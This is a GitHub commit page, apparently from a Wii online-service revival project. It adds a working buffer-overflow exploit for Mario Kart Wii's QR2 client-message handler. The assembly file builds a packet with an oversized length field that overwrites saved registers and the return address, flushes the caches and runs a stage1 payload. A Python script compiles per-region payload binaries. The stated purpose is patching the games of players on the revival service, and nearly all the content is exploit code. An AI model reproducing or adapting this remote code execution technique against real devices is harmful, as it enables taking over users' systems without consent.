Skip to content

Commit

Permalink
Use SB client message exploit for DNS users
Browse files Browse the repository at this point in the history
  • Loading branch information
mkwcat committed Dec 24, 2023
1 parent ec6ef51 commit 3c0a834
Show file tree
Hide file tree
Showing 16 changed files with 1,304 additions and 587 deletions.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,8 @@ stage1/build
patch/build
payload/build
payload/binary
exploit/build
exploit/sbcm
*.elf
*.out
*.dol
Expand Down
107 changes: 107 additions & 0 deletions exploit/make-sbcm-patch.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
from multiprocessing.pool import ThreadPool, TimeoutError
from sys import argv
import os, csv, time, subprocess, hashlib

devkitppc = os.environ.get("DEVKITPPC")
path_cc = os.path.join(devkitppc, "bin", "powerpc-eabi-gcc")
path_objcopy = os.path.join(devkitppc, "bin", "powerpc-eabi-objcopy")

extra_build_flags = []

def build(game):
print(game["Title"])
flags = []
flags.append("-D" + game["Title"] + "=1")

title_str = game["Title"]
# pad to 9 bytes
if len(title_str) == 7:
title_str += "\\0\\0"

flags.append("-DPAYLOAD=\"" + title_str + "\"")
stage1_flags = flags.copy()

for key, value in game.items():
if key != "Title":
flags.append("-D" + key + "=" + value)
stage1_flags.append("-D" + key + "=" + value)
if key.startswith("ADDRESS_"):
flags.append("-Wl,-defsym," + key[len("ADDRESS_"):] + "=" + value)

flags += extra_build_flags
stage1_flags += extra_build_flags
stage1_flags += ["-DSTAGE1_SBCM=1"]

ccflags = "-g -Os -std=c++20 -fno-rtti -ffreestanding -nodefaultlibs -nostdlib -fno-unwind-tables -fno-exceptions -fmerge-all-constants -ffunction-sections -fdata-sections -fshort-enums -nodefaultlibs -nostdlib -lgcc -Wl,--gc-sections -n "
ccflags += "-I" + os.path.join("..", "include")

out_path = os.path.join("build", game["TitleID"])
subprocess.run([path_cc, os.path.join("..", "stage1", "wwfcStage1.cpp")] + ccflags.split(" ") + ["-S", "-o" + out_path + "-stage1.s"] + stage1_flags).check_returncode()
subprocess.run([path_cc, "-o" + out_path + ".o", "-xassembler-with-cpp", "wwfcSbcmPacket.s", "-xassembler", out_path + "-stage1.s", "-mregnames", "-I" + os.path.join("..", "include"), "-Tsbcm-packet.ld", "-Ttext=" + game["ADDRESS_GTI2_BUFFER"], "-nodefaultlibs", "-nostdlib", "-n", "-lgcc"] + flags).check_returncode()
subprocess.run([path_objcopy, out_path + ".o", os.path.join("sbcm", "payload." + game["TitleID"] + ".bin"), "-O", "binary"]).check_returncode()

if __name__ == "__main__":
try:
os.mkdir("build")
except:
pass

try:
os.mkdir("sbcm")
except:
pass

game_list = []
game_ids = {"RMCP": "RMCPD00", "RMCE": "RMCED00", "RMCJ": "RMCJD00", "RMCK": "RMCKD00"}

with open(os.path.join("..", "gamedefs.csv")) as csv_file:
reader = csv.DictReader(csv_file, delimiter=",", dialect="excel")
for game in reader:
game_list.append(game)

pool_count = -1
title_id = ""

for i in range(len(argv)):
if i == 0:
continue

if argv[i].startswith("-j"):
if len(argv[i]) == 2:
pool_count = 0
else:
pool_count = int(argv[i][2:])
elif argv[i].startswith("-g") or argv[i].startswith("-t"):
title_id = argv[i][2:]
elif argv[i].startswith("-D"):
extra_build_flags.append(argv[i])

if title_id != "":
for key in game_ids.keys():
if key.startswith(title_id) == False:
del game_ids[key]

if game_ids == {}:
print("No title for " + title_id)

map_game_list = []
for key in game_ids:
for game in game_list:
if game["Title"] == game_ids[key]:
game["TitleID"] = key
map_game_list.append(game)
break


if pool_count == -1:
for game in map_game_list:
build(game)
exit()

if pool_count == 0:
pool = ThreadPool()
else:
pool = ThreadPool(pool_count)
pool.map(build, map_game_list)
pool.close()

24 changes: 24 additions & 0 deletions exploit/sbcm-packet.ld
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
OUTPUT_FORMAT("elf32-powerpc", "elf32-powerpc", "elf32-powerpc");
OUTPUT_ARCH(powerpc:common);
ENTRY(wwfcSBCMPacket)

SECTIONS
{
.text : {
KEEP (*(wwfc_packet))
. = ALIGN(4);
*(.text*)
*(.rodata*)
*(.data*)
*(.bss*)
*(.sdata*)
*(.sbss*)
wwfc_stage1_end = .;
}

/DISCARD/ : {
*(.comment*)
*(.eh_frame*)
*(.eh_frame_hdr*)
}
}
73 changes: 73 additions & 0 deletions exploit/wwfcSbcmPacket.s
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
// Server Browser Client Message exploit, used for the DNS patcher
// Credits:
// - Palapeli (mkwcat)
// - Seeky (SeekyCt)
// - Emma (InvoxiPlayGames)
//
// The buffer is located at 0x802F2480 in Mario Kart Wii PAL
// Exploit is in DWCi_QR2ClientMsgCallback, with the memcpy at 0x800E5AD4

.section wwfc_packet, "ax", @progbits
.global wwfcSBCMPacket
wwfcSBCMPacket:
/* 0x0000 */ .byte 0xFE, 0xFD // QR2 packet magic
/* 0x0002 */ .byte 0x06 // Message type (6 = CLIENT_MESSAGE)
/* 0x0003 */ .long 0x00000000 // QR2 session ID
/* 0x0007 */ .long 0x00000000 // Packet counter

// Client Message header
/* 0x000B */ .byte 0xBB, 0x49, 0xCC, 0x4D // Packet magic
/* 0x000F */ .long 0x5A000000 // DWC match version (Little endian)
/* 0x0013 */ .byte 0x00 // Match command (0 = None)
/* 0x0014 */ .byte wwfcSBCMMatchCommandEnd - wwfcSBCMMatchCommandStart // Packet size (This is the overflow)
/* 0x0015 */ .short 0x0000 // QR2 port (Little endian)
/* 0x0017 */ .byte 0x00, 0x00, 0x00, 0x00 // QR2 public IP
/* 0x001B */ .long 0x00000000 // QR2 profile ID (Little endian)

wwfcSBCMMatchCommandStart:
// GT2 buffer offset / Stack offset
/* 0x001F / 0x1C */ .byte 0x00 // Padding to 4 byte boundary

// Offset is 0x608 for Mario Kart Wii, might be different for other games
#define SOCKADDR_OFFSET 0x608

wwfcSBCMEntryPoint:
// Flush the cache of the rest of the packet, as OSInitSystenCall only flushes 256 bytes
/* 0x0020 / 0x1D */ mr r3, r31
/* 0x0024 / 0x21 */ li r4, 0x1000
/* 0x0028 / 0x25 */ bl DCFlushRange

/* 0x002C / 0x29 */ mr r3, r31
/* 0x0030 / 0x2D */ li r4, 0x1000
/* 0x0034 / 0x31 */ bl ICInvalidateRange

// Send CLIENT_EXPLOIT_ACK
/* 0x0038 / 0x35 */ lwz r3, 0(r27) // Socket
/* 0x003C / 0x39 */ addi r4, r31, 0x2 // Message buffer
/* 0x0040 / 0x3D */ stb r30, 0(r4) // Message type = 0x10
/* 0x0044 / 0x41 */ li r5, 0x9 // Message size = 9
/* 0x0048 / 0x45 */ li r6, 0 // Flags
/* 0x004C / 0x49 */ addi r7, r1, SOCKADDR_OFFSET // Sockaddr
/* 0x0050 / 0x4D */ li r8, 8 // Sockaddr size
/* 0x0054 / 0x51 */ bl sendto

/* 0x0058 / 0x55 */ bl wwfcStage1Entry

/* 0x005C / 0x59 */ addi r29, r1, SOCKADDR_OFFSET
/* 0x0060 / 0x5D */ subi r1, r1, 0x10
/* 0x0064 / 0x61 */ b SBCM_RETURN
// Code end

/* 0x00A3 / 0xA0 */ .org 0x00A3
/* 0x00A3 / 0xA0 */ .long 0x00000000 // r28
/* 0x00A7 / 0xA4 */ .long 0x00000000 // r29
/* 0x00AB / 0xA8 */ .long 0x00000010 // r30
// Use OSInitSystemCall to flush dcache and invalidate icache
/* 0x00AF / 0xAC */ .long wwfcSBCMEntryPoint - 0xC00 // r31 (for OSInitSystemCall)
/* 0x00B3 / 0xB0 */ .long 0xFFFFFFFF // SP (for OSInitSystemCall)
/* 0x00B7 / 0xB4 */ .long ADDRESS_OSInitSystemCall_Tail // LR
/* 0x00BB / 0xB8 */ .long 0x00000000 // Padding
/* 0x00BF / 0xBC */ .long wwfcSBCMPacket // r31
/* 0x00C3 / 0xC0 */ .long 0xFFFFFFFF // SP
/* 0x00C7 / 0xC4 */ .long wwfcSBCMEntryPoint // LR
wwfcSBCMMatchCommandEnd:
Loading

0 comments on commit 3c0a834

Please sign in to comment.